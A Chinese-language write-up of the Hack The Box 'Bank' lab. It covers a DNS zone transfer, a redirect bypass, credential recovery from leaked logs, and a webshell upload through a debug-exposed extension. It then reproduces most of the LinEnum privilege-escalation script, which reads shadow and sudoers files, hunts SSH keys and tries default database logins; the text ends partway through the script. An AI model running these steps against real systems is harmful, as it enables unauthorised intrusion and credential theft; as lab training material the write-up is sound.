目录

Hack The Box —— Bank

Hack The Box —— Bank

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909204647.png-water_print

信息搜集

nmap

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nmap -T4 -A -v 10.10.10.29

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909204647.png-water_print

发现开放了22、80、TCP 53 端口,在 53 端口上开放 DNS 服务。通常情况下 DNS 服务开放在 UDP 53 端口上,在 TCP 上开放 DNS 服务,一般是具有区域传输功能,因此怀疑具有 DNS 区域传输漏洞。

访问 80 端口,是一个 apache 的默认页面,通常情况下,这种既开着 DNS 的,然后直接访问 80 端口为空页面的服务器,是作为虚拟主机使用。

DNS 信息查询

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909204714.png-water_print 首先测试 localhost 与 10.10.10.29,并未发现有价值的信息,然后尝试猜测 bank.htb (看了 WP 才知道),发现该域名能够被 DNS 服务所解析,因此利用 dig 工具进行进一步测试。

1
dig axfr bank.htb @10.10.10.29

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909205407.png-water_print

成功利用区域传输漏洞获得 bank.htb 域名的子域名。

漏洞发掘

将攻击机的 DNS 服务器设置为 10.10.10.29,然后访问 www.bank.htb,得到: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909205943.png-water_print

然后利用 dirsearch 工具进行目录爆破: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909210058.png-water_print 发现上传目录、index.php、support.php,但是index.phpsupport.php页面大小不同,却直接 302 重定向到login.php,怀疑index.phpsupport.php 另有玄机。 https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909210423.png-water_print

利用 burpsuite 的重写 response header 的功能,取消重定向,即将 302 改为 200https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909210428.png-water_print

访问得到index.phpsupport.phphttps://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909210509.png-water_print

support.php 存在上传点,但是经过尝试,并未绕过限制,进而进一步进行测试。

在目录爆破的过程中,发现了 balance-transfer 目录,访问后得到: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909210644.png-water_print

随便打开一个文件,发现里面疑似是加密过的日志,因此尝试寻找加密失败的文件,进而获得用户名和密码的明文。

首先将所有文件下载到本地:

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wget -r http://www.bank.htb/balance-transfer

然后进入到 balance-transfer 目录,删除index.html* 等文件,进行大小排序:

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wc -c *.acc | sort -n

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909211024.png-water_print

发现一个特别小的文件,访问后得到: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909211047.png-water_print

利用得到的账号和密码登录: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909211118.png-water_print

再次发现上传页面,同时,该上传页面利用的是之前的 support.php

右键查看当前页面的源代码,发现一处 debug 留下的漏洞: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909211331.png-water_print

直接上传webshell,命名为 xxx.htb,菜刀连接: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190909211433.png-water_print

查看 user.txt 获得第一个 flag。

whoami 查看权限,发现权限不足,尝试提权。

上传 LinEnum.sh 脚本,并执行,获得一些辅助信息。

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#!/bin/bash
#A script to enumerate local information from a Linux host
version="version 0.97"
#@rebootuser

#help function
usage () 
{ 
echo -e "\n\e[00;31m#########################################################\e[00m" 
echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m"
echo -e "\e[00;31m#########################################################\e[00m"
echo -e "\e[00;33m# www.rebootuser.com | @rebootuser \e[00m"
echo -e "\e[00;33m# $version\e[00m\n"
echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n"

        echo "OPTIONS:"
        echo "-k    Enter keyword"
        echo "-e    Enter export location"
        echo "-s    Supply user password for sudo checks (INSECURE)"
        echo "-t    Include thorough (lengthy) tests"
        echo "-r    Enter report name" 
        echo "-h    Displays this help text"
        echo -e "\n"
        echo "Running with no options = limited scans/no output file"
        
echo -e "\e[00;31m#########################################################\e[00m"      
}
header()
{
echo -e "\n\e[00;31m#########################################################\e[00m" 
echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" 
echo -e "\e[00;31m#########################################################\e[00m" 
echo -e "\e[00;33m# www.rebootuser.com\e[00m" 
echo -e "\e[00;33m# $version\e[00m\n" 

}

debug_info()
{
echo "[-] Debug Info" 

if [ "$keyword" ]; then 
    echo "[+] Searching for the keyword $keyword in conf, php, ini and log files" 
fi

if [ "$report" ]; then 
    echo "[+] Report name = $report" 
fi

if [ "$export" ]; then 
    echo "[+] Export location = $export" 
fi

if [ "$thorough" ]; then 
    echo "[+] Thorough tests = Enabled" 
else 
    echo -e "\e[00;33m[+] Thorough tests = Disabled\e[00m" 
fi

sleep 2

if [ "$export" ]; then
  mkdir $export 2>/dev/null
  format=$export/LinEnum-export-`date +"%d-%m-%y"`
  mkdir $format 2>/dev/null
fi

if [ "$sudopass" ]; then 
  echo -e "\e[00;35m[+] Please enter password - INSECURE - really only for CTF use!\e[00m"
  read -s userpassword
  echo 
fi

who=`whoami` 2>/dev/null 
echo -e "\n" 

echo -e "\e[00;33mScan started at:"; date 
echo -e "\e[00m\n" 
}

# useful binaries (thanks to https://gtfobins.github.io/)
binarylist='nmap\|perl\|awk\|find\|bash\|sh\|man\|more\|less\|vi\|emacs\|vim\|nc\|netcat\|python\|ruby\|lua\|irb\|tar\|zip\|gdb\|pico\|scp\|git\|rvim\|script\|ash\|csh\|curl\|dash\|ed\|env\|expect\|ftp\|sftp\|node\|php\|rpm\|rpmquery\|socat\|strace\|taskset\|tclsh\|telnet\|tftp\|wget\|wish\|zsh\|ssh$\|ip$\|arp\|mtr'

system_info()
{
echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" 

#basic kernel info
unameinfo=`uname -a 2>/dev/null`
if [ "$unameinfo" ]; then
  echo -e "\e[00;31m[-] Kernel information:\e[00m\n$unameinfo" 
  echo -e "\n" 
fi

procver=`cat /proc/version 2>/dev/null`
if [ "$procver" ]; then
  echo -e "\e[00;31m[-] Kernel information (continued):\e[00m\n$procver" 
  echo -e "\n" 
fi

#search all *-release files for version info
release=`cat /etc/*-release 2>/dev/null`
if [ "$release" ]; then
  echo -e "\e[00;31m[-] Specific release information:\e[00m\n$release" 
  echo -e "\n" 
fi

#target hostname info
hostnamed=`hostname 2>/dev/null`
if [ "$hostnamed" ]; then
  echo -e "\e[00;31m[-] Hostname:\e[00m\n$hostnamed" 
  echo -e "\n" 
fi
}

user_info()
{
echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" 

#current user details
currusr=`id 2>/dev/null`
if [ "$currusr" ]; then
  echo -e "\e[00;31m[-] Current user/group info:\e[00m\n$currusr" 
  echo -e "\n"
fi

#last logged on user information
lastlogedonusrs=`lastlog 2>/dev/null |grep -v "Never" 2>/dev/null`
if [ "$lastlogedonusrs" ]; then
  echo -e "\e[00;31m[-] Users that have previously logged onto the system:\e[00m\n$lastlogedonusrs" 
  echo -e "\n" 
fi

#who else is logged on
loggedonusrs=`w 2>/dev/null`
if [ "$loggedonusrs" ]; then
  echo -e "\e[00;31m[-] Who else is logged on:\e[00m\n$loggedonusrs" 
  echo -e "\n"
fi

#lists all id's and respective group(s)
grpinfo=`for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null`
if [ "$grpinfo" ]; then
  echo -e "\e[00;31m[-] Group memberships:\e[00m\n$grpinfo"
  echo -e "\n"
fi

#added by phackt - look for adm group (thanks patrick)
adm_users=$(echo -e "$grpinfo" | grep "(adm)")
if [[ ! -z $adm_users ]];
  then
    echo -e "\e[00;31m[-] It looks like we have some admin users:\e[00m\n$adm_users"
    echo -e "\n"
fi

#checks to see if any hashes are stored in /etc/passwd (depreciated  *nix storage method)
hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null`
if [ "$hashesinpasswd" ]; then
  echo -e "\e[00;33m[+] It looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" 
  echo -e "\n"
fi

#contents of /etc/passwd
readpasswd=`cat /etc/passwd 2>/dev/null`
if [ "$readpasswd" ]; then
  echo -e "\e[00;31m[-] Contents of /etc/passwd:\e[00m\n$readpasswd" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$readpasswd" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/passwd $format/etc-export/passwd 2>/dev/null
fi

#checks to see if the shadow file can be read
readshadow=`cat /etc/shadow 2>/dev/null`
if [ "$readshadow" ]; then
  echo -e "\e[00;33m[+] We can read the shadow file!\e[00m\n$readshadow" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$readshadow" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/shadow $format/etc-export/shadow 2>/dev/null
fi

#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant
readmasterpasswd=`cat /etc/master.passwd 2>/dev/null`
if [ "$readmasterpasswd" ]; then
  echo -e "\e[00;33m[+] We can read the master.passwd file!\e[00m\n$readmasterpasswd" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$readmasterpasswd" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null
fi

#all root accounts (uid 0)
superman=`grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null`
if [ "$superman" ]; then
  echo -e "\e[00;31m[-] Super user account(s):\e[00m\n$superman"
  echo -e "\n"
fi

#pull out vital sudoers info
sudoers=`grep -v -e '^$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null`
if [ "$sudoers" ]; then
  echo -e "\e[00;31m[-] Sudoers configuration (condensed):\e[00m$sudoers"
  echo -e "\n"
fi

if [ "$export" ] && [ "$sudoers" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null
fi

#can we sudo without supplying a password
sudoperms=`echo '' | sudo -S -l -k 2>/dev/null`
if [ "$sudoperms" ]; then
  echo -e "\e[00;33m[+] We can sudo without supplying a password!\e[00m\n$sudoperms" 
  echo -e "\n"
fi

#check sudo perms - authenticated
if [ "$sudopass" ]; then
    if [ "$sudoperms" ]; then
      :
    else
      sudoauth=`echo $userpassword | sudo -S -l -k 2>/dev/null`
      if [ "$sudoauth" ]; then
        echo -e "\e[00;33m[+] We can sudo when supplying a password!\e[00m\n$sudoauth" 
        echo -e "\n"
      fi
    fi
fi

##known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) - authenticated
if [ "$sudopass" ]; then
    if [ "$sudoperms" ]; then
      :
    else
      sudopermscheck=`echo $userpassword | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null|sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null`
      if [ "$sudopermscheck" ]; then
        echo -e "\e[00;33m[-] Possible sudo pwnage!\e[00m\n$sudopermscheck" 
        echo -e "\n"
      fi
    fi
fi

#known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values)
sudopwnage=`echo '' | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null | sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null`
if [ "$sudopwnage" ]; then
  echo -e "\e[00;33m[+] Possible sudo pwnage!\e[00m\n$sudopwnage" 
  echo -e "\n"
fi

#who has sudoed in the past
whohasbeensudo=`find /home -name .sudo_as_admin_successful 2>/dev/null`
if [ "$whohasbeensudo" ]; then
  echo -e "\e[00;31m[-] Accounts that have recently used sudo:\e[00m\n$whohasbeensudo" 
  echo -e "\n"
fi

#checks to see if roots home directory is accessible
rthmdir=`ls -ahl /root/ 2>/dev/null`
if [ "$rthmdir" ]; then
  echo -e "\e[00;33m[+] We can read root's home directory!\e[00m\n$rthmdir" 
  echo -e "\n"
fi

#displays /home directory permissions - check if any are lax
homedirperms=`ls -ahl /home/ 2>/dev/null`
if [ "$homedirperms" ]; then
  echo -e "\e[00;31m[-] Are permissions on /home directories lax:\e[00m\n$homedirperms" 
  echo -e "\n"
fi

#looks for files we can write to that don't belong to us
if [ "$thorough" = "1" ]; then
  grfilesall=`find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null`
  if [ "$grfilesall" ]; then
    echo -e "\e[00;31m[-] Files not owned by user but writable by group:\e[00m\n$grfilesall" 
    echo -e "\n"
  fi
fi

#looks for files that belong to us
if [ "$thorough" = "1" ]; then
  ourfilesall=`find / -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null`
  if [ "$ourfilesall" ]; then
    echo -e "\e[00;31m[-] Files owned by our user:\e[00m\n$ourfilesall"
    echo -e "\n"
  fi
fi

#looks for hidden files
if [ "$thorough" = "1" ]; then
  hiddenfiles=`find / -name ".*" -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null`
  if [ "$hiddenfiles" ]; then
    echo -e "\e[00;31m[-] Hidden files:\e[00m\n$hiddenfiles"
    echo -e "\n"
  fi
fi

#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch
if [ "$thorough" = "1" ]; then
wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null`
    if [ "$wrfileshm" ]; then
        echo -e "\e[00;31m[-] World-readable files within /home:\e[00m\n$wrfileshm" 
        echo -e "\n"
    fi
fi

if [ "$thorough" = "1" ]; then
    if [ "$export" ] && [ "$wrfileshm" ]; then
        mkdir $format/wr-files/ 2>/dev/null
        for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null
    fi
fi

#lists current user's home directory contents
if [ "$thorough" = "1" ]; then
homedircontents=`ls -ahl ~ 2>/dev/null`
    if [ "$homedircontents" ] ; then
        echo -e "\e[00;31m[-] Home directory contents:\e[00m\n$homedircontents" 
        echo -e "\n" 
    fi
fi

#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch
if [ "$thorough" = "1" ]; then
sshfiles=`find / \( -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} 2>/dev/null \;`
    if [ "$sshfiles" ]; then
        echo -e "\e[00;31m[-] SSH keys/host information found in the following locations:\e[00m\n$sshfiles" 
        echo -e "\n"
    fi
fi

if [ "$thorough" = "1" ]; then
    if [ "$export" ] && [ "$sshfiles" ]; then
        mkdir $format/ssh-files/ 2>/dev/null
        for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null
    fi
fi

#is root permitted to login via ssh
sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print  $2}'`
if [ "$sshrootlogin" = "yes" ]; then
  echo -e "\e[00;31m[-] Root is allowed to login via SSH:\e[00m" ; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" 
  echo -e "\n"
fi
}

environmental_info()
{
echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" 

#env information
envinfo=`env 2>/dev/null | grep -v 'LS_COLORS' 2>/dev/null`
if [ "$envinfo" ]; then
  echo -e "\e[00;31m[-] Environment information:\e[00m\n$envinfo" 
  echo -e "\n"
fi

#check if selinux is enabled
sestatus=`sestatus 2>/dev/null`
if [ "$sestatus" ]; then
  echo -e "\e[00;31m[-] SELinux seems to be present:\e[00m\n$sestatus"
  echo -e "\n"
fi

#phackt

#current path configuration
pathinfo=`echo $PATH 2>/dev/null`
if [ "$pathinfo" ]; then
  echo -e "\e[00;31m[-] Path information:\e[00m\n$pathinfo" 
  echo -e "\n"
fi

#lists available shells
shellinfo=`cat /etc/shells 2>/dev/null`
if [ "$shellinfo" ]; then
  echo -e "\e[00;31m[-] Available shells:\e[00m\n$shellinfo" 
  echo -e "\n"
fi

#current umask value with both octal and symbolic output
umaskvalue=`umask -S 2>/dev/null & umask 2>/dev/null`
if [ "$umaskvalue" ]; then
  echo -e "\e[00;31m[-] Current umask value:\e[00m\n$umaskvalue" 
  echo -e "\n"
fi

#umask value as in /etc/login.defs
umaskdef=`grep -i "^UMASK" /etc/login.defs 2>/dev/null`
if [ "$umaskdef" ]; then
  echo -e "\e[00;31m[-] umask value as specified in /etc/login.defs:\e[00m\n$umaskdef" 
  echo -e "\n"
fi

#password policy information as stored in /etc/login.defs
logindefs=`grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null`
if [ "$logindefs" ]; then
  echo -e "\e[00;31m[-] Password and storage information:\e[00m\n$logindefs" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$logindefs" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null
fi
}

job_info()
{
echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" 

#are there any cron jobs configured
cronjobs=`ls -la /etc/cron* 2>/dev/null`
if [ "$cronjobs" ]; then
  echo -e "\e[00;31m[-] Cron jobs:\e[00m\n$cronjobs" 
  echo -e "\n"
fi

#can we manipulate these jobs in any way
cronjobwwperms=`find /etc/cron* -perm -0002 -type f -exec ls -la {} \; -exec cat {} 2>/dev/null \;`
if [ "$cronjobwwperms" ]; then
  echo -e "\e[00;33m[+] World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" 
  echo -e "\n"
fi

#contab contents
crontabvalue=`cat /etc/crontab 2>/dev/null`
if [ "$crontabvalue" ]; then
  echo -e "\e[00;31m[-] Crontab contents:\e[00m\n$crontabvalue" 
  echo -e "\n"
fi

crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null`
if [ "$crontabvar" ]; then
  echo -e "\e[00;31m[-] Anything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" 
  echo -e "\n"
fi

anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null`
if [ "$anacronjobs" ]; then
  echo -e "\e[00;31m[-] Anacron jobs and associated file permissions:\e[00m\n$anacronjobs" 
  echo -e "\n"
fi

anacrontab=`ls -la /var/spool/anacron 2>/dev/null`
if [ "$anacrontab" ]; then
  echo -e "\e[00;31m[-] When were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" 
  echo -e "\n"
fi

#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command)
cronother=`cut -d ":" -f 1 /etc/passwd | xargs -n1 crontab -l -u 2>/dev/null`
if [ "$cronother" ]; then
  echo -e "\e[00;31m[-] Jobs held by all users:\e[00m\n$cronother" 
  echo -e "\n"
fi

# list systemd timers
if [ "$thorough" = "1" ]; then
  # include inactive timers in thorough mode
  systemdtimers="$(systemctl list-timers --all 2>/dev/null)"
  info=""
else
  systemdtimers="$(systemctl list-timers 2>/dev/null |head -n -1 2>/dev/null)"
  # replace the info in the output with a hint towards thorough mode
  info="\e[2mEnable thorough tests to see inactive timers\e[00m"
fi
if [ "$systemdtimers" ]; then
  echo -e "\e[00;31m[-] Systemd timers:\e[00m\n$systemdtimers\n$info"
  echo -e "\n"
fi

}

networking_info()
{
echo -e "\e[00;33m### NETWORKING  ##########################################\e[00m" 

#nic information
nicinfo=`/sbin/ifconfig -a 2>/dev/null`
if [ "$nicinfo" ]; then
  echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfo" 
  echo -e "\n"
fi

#nic information (using ip)
nicinfoip=`/sbin/ip a 2>/dev/null`
if [ ! "$nicinfo" ] && [ "$nicinfoip" ]; then
  echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfoip" 
  echo -e "\n"
fi

arpinfo=`arp -a 2>/dev/null`
if [ "$arpinfo" ]; then
  echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfo" 
  echo -e "\n"
fi

arpinfoip=`ip n 2>/dev/null`
if [ ! "$arpinfo" ] && [ "$arpinfoip" ]; then
  echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfoip" 
  echo -e "\n"
fi

#dns settings
nsinfo=`grep "nameserver" /etc/resolv.conf 2>/dev/null`
if [ "$nsinfo" ]; then
  echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfo" 
  echo -e "\n"
fi

nsinfosysd=`systemd-resolve --status 2>/dev/null`
if [ "$nsinfosysd" ]; then
  echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfosysd" 
  echo -e "\n"
fi

#default route configuration
defroute=`route 2>/dev/null | grep default`
if [ "$defroute" ]; then
  echo -e "\e[00;31m[-] Default route:\e[00m\n$defroute" 
  echo -e "\n"
fi

#default route configuration
defrouteip=`ip r 2>/dev/null | grep default`
if [ ! "$defroute" ] && [ "$defrouteip" ]; then
  echo -e "\e[00;31m[-] Default route:\e[00m\n$defrouteip" 
  echo -e "\n"
fi

#listening TCP
tcpservs=`netstat -ntpl 2>/dev/null`
if [ "$tcpservs" ]; then
  echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservs" 
  echo -e "\n"
fi

tcpservsip=`ss -t -l -n 2>/dev/null`
if [ ! "$tcpservs" ] && [ "$tcpservsip" ]; then
  echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservsip" 
  echo -e "\n"
fi

#listening UDP
udpservs=`netstat -nupl 2>/dev/null`
if [ "$udpservs" ]; then
  echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservs" 
  echo -e "\n"
fi

udpservsip=`ss -u -l -n 2>/dev/null`
if [ ! "$udpservs" ] && [ "$udpservsip" ]; then
  echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservsip" 
  echo -e "\n"
fi
}

services_info()
{
echo -e "\e[00;33m### SERVICES #############################################\e[00m" 

#running processes
psaux=`ps aux 2>/dev/null`
if [ "$psaux" ]; then
  echo -e "\e[00;31m[-] Running processes:\e[00m\n$psaux" 
  echo -e "\n"
fi

#lookup process binary path and permissisons
procperm=`ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null`
if [ "$procperm" ]; then
  echo -e "\e[00;31m[-] Process binaries and associated permissions (from above list):\e[00m\n$procperm" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$procperm" ]; then
procpermbase=`ps aux 2>/dev/null | awk '{print $11}' | xargs -r ls 2>/dev/null | awk '!x[$0]++' 2>/dev/null`
  mkdir $format/ps-export/ 2>/dev/null
  for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null
fi

#anything 'useful' in inetd.conf
inetdread=`cat /etc/inetd.conf 2>/dev/null`
if [ "$inetdread" ]; then
  echo -e "\e[00;31m[-] Contents of /etc/inetd.conf:\e[00m\n$inetdread" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$inetdread" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null
fi

#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each
inetdbinperms=`awk '{print $7}' /etc/inetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$inetdbinperms" ]; then
  echo -e "\e[00;31m[-] The related inetd binary permissions:\e[00m\n$inetdbinperms" 
  echo -e "\n"
fi

xinetdread=`cat /etc/xinetd.conf 2>/dev/null`
if [ "$xinetdread" ]; then
  echo -e "\e[00;31m[-] Contents of /etc/xinetd.conf:\e[00m\n$xinetdread" 
  echo -e "\n"
fi

if [ "$export" ] && [ "$xinetdread" ]; then
  mkdir $format/etc-export/ 2>/dev/null
  cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null
fi

xinetdincd=`grep "/etc/xinetd.d" /etc/xinetd.conf 2>/dev/null`
if [ "$xinetdincd" ]; then
  echo -e "\e[00;31m[-] /etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m"; ls -la /etc/xinetd.d 2>/dev/null 
  echo -e "\n"
fi

#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each
xinetdbinperms=`awk '{print $7}' /etc/xinetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$xinetdbinperms" ]; then
  echo -e "\e[00;31m[-] The related xinetd binary permissions:\e[00m\n$xinetdbinperms" 
  echo -e "\n"
fi

initdread=`ls -la /etc/init.d 2>/dev/null`
if [ "$initdread" ]; then
  echo -e "\e[00;31m[-] /etc/init.d/ binary permissions:\e[00m\n$initdread" 
  echo -e "\n"
fi

#init.d files NOT belonging to root!
initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$initdperms" ]; then
  echo -e "\e[00;31m[-] /etc/init.d/ files not belonging to root:\e[00m\n$initdperms" 
  echo -e "\n"
fi

rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null`
if [ "$rcdread" ]; then
  echo -e "\e[00;31m[-] /etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" 
  echo -e "\n"
fi

#init.d files NOT belonging to root!
rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$rcdperms" ]; then
  echo -e "\e[00;31m[-] /etc/rc.d/init.d files not belonging to root:\e[00m\n$rcdperms" 
  echo -e "\n"
fi

usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null`
if [ "$usrrcdread" ]; then
  echo -e "\e[00;31m[-] /usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" 
  echo -e "\n"
fi

#rc.d files NOT belonging to root!
usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$usrrcdperms" ]; then
  echo -e "\e[00;31m[-] /usr/local/etc/rc.d files not belonging to root:\e[00m\n$usrrcdperms" 
  echo -e "\n"
fi

initread=`ls -la /etc/init/ 2>/dev/null`
if [ "$initread" ]; then
  echo -e "\e[00;31m[-] /etc/init/ config file permissions:\e[00m\n$initread"
  echo -e "\n"
fi

# upstart scripts not belonging to root
initperms=`find /etc/init \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$initperms" ]; then
   echo -e "\e[00;31m[-] /etc/init/ config files not belonging to root:\e[00m\n$initperms"
   echo -e "\n"
fi

systemdread=`ls -lthR /lib/systemd/ 2>/dev/null`
if [ "$systemdread" ]; then
  echo -e "\e[00;31m[-] /lib/systemd/* config file permissions:\e[00m\n$systemdread"
  echo -e "\n"
fi

# systemd files not belonging to root
systemdperms=`find /lib/systemd/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
if [ "$systemdperms" ]; then
   echo -e "\e[00;33m[+] /lib/systemd/* config files not belonging to root:\e[00m\n$systemdperms"
   echo -e "\n"
fi
}

software_configs()
{
echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" 

#sudo version - check to see if there are any known vulnerabilities with this
sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null`
if [ "$sudover" ]; then
  echo -e "\e[00;31m[-] Sudo version:\e[00m\n$sudover" 
  echo -e "\n"
fi

#mysql details - if installed
mysqlver=`mysql --version 2>/dev/null`
if [ "$mysqlver" ]; then
  echo -e "\e[00;31m[-] MYSQL version:\e[00m\n$mysqlver" 
  echo -e "\n"
fi

#checks to see if root/root will get us a connection
mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null`
if [ "$mysqlconnect" ]; then
  echo -e "\e[00;33m[+] We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" 
  echo -e "\n"
fi

#mysql version details
mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null`
if [ "$mysqlconnectnopass" ]; then
  echo -e "\e[00;33m[+] We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" 
  echo -e "\n"
fi

#postgres details - if installed
postgver=`psql -V 2>/dev/null`
if [ "$postgver" ]; then
  echo -e "\e[00;31m[-] Postgres version:\e[00m\n$postgver" 
  echo -e "\n"
fi

#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this
postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version`
if [ "$postcon1" ]; then
  echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" 
  echo -e "\n"
fi

postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version`
if [ "$postcon11" ]; then
  echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" 
  echo -e "\n"
fi

postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version`
if [ "$postcon2" ]; then
  echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" 
  echo -e "\n"
fi

postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version`
if [ "$postcon22" ]; then
  echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" 
  echo -e "\n"
fi

#apache details - if installed
apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null`
if [ "$apachever" ]; then
  echo -e "\e[00;31m[-] Apache version:\e[00m\n$apachever" 
  echo -e "\n"
fi

#what account is apache running under
